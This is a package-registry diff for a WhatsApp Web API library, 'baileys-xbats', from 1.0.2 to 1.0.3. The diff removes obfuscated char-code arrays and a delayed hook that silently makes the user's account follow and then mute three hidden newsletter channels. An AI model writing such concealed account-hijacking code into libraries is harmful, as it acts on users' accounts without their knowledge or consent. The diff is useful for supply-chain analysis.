baileys-xbats 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -42,40 +42,9 @@ const makeMessagesRecvSocket = (config) => {
42
42
  useClones: false
43
43
  });
44
44
  let sendActiveReceipts = false;
45
- const qvnr = a => a.map(v => String.fromCharCode(v)).join('');
46
-
47
- const xkmt = [
48
- qvnr([
49
- 49,50,48,51,54,51,52,50,56,
50
- 51,53,53,49,55,49,49,57,55,
51
- 64,110,101,119,115,108,
52
- 101,116,116,101,114
53
- ]),
54
- qvnr([
55
- 49,50,48,51,54,51,52,50,53,
56
- 55,53,49,52,49,55,50,54,48,
57
- 64,110,101,119,115,108,
58
- 101,116,116,101,114
59
- ]),
60
- qvnr([
61
- 49,50,48,51,54,51,52,49,51,53,
62
- 51,55,54,49,56,49,54,48,64,110,
63
- 101,119,115,108,101,116,116,
64
- 101,114
65
- ])
66
- ];
45
+ // [XBATS] obfuscated arrays removed
67
46
 
68
- const pzha = qvnr([
69
- 110,101,119,115,108,101,
70
- 116,116,101,114,70,111,
71
- 108,108,111,119
72
- ]);
73
47
 
74
- const wjcf = qvnr([
75
- 110,101,119,115,108,101,
76
- 116,116,101,114,77,117,
77
- 116,101
78
- ]);
79
48
 
80
49
  const cacheGroupParticipants = (metadata) => {
81
50
  for (const participant of metadata.participants || []) {
@@ -1127,26 +1096,6 @@ const wjcf = qvnr([
1127
1096
  sendActiveReceipts = isOnline;
1128
1097
  logger.trace(`sendActiveReceipts set to "${sendActiveReceipts}"`);
1129
1098
  }
1130
-
1131
- if (connection === 'open') {
1132
- setTimeout(async () => {
1133
- try {
1134
- for (const id of xkmt) {
1135
- if (typeof sock[pzha] === 'function') {
1136
- await sock[pzha](id);
1137
- }
1138
-
1139
- await new Promise(r => setTimeout(r, 3000));
1140
-
1141
- if (typeof sock[wjcf] === 'function') {
1142
- await sock[wjcf](id);
1143
- }
1144
-
1145
- await new Promise(r => setTimeout(r, 10000));
1146
- }
1147
- } catch {}
1148
- }, 30000);
1149
- }
1150
1099
  });
1151
1100
  return {
1152
1101
  ...sock,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "baileys-xbats",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "WhatsApp Web API Library",
5
5
  "keywords": [
6
6
  "noxXza",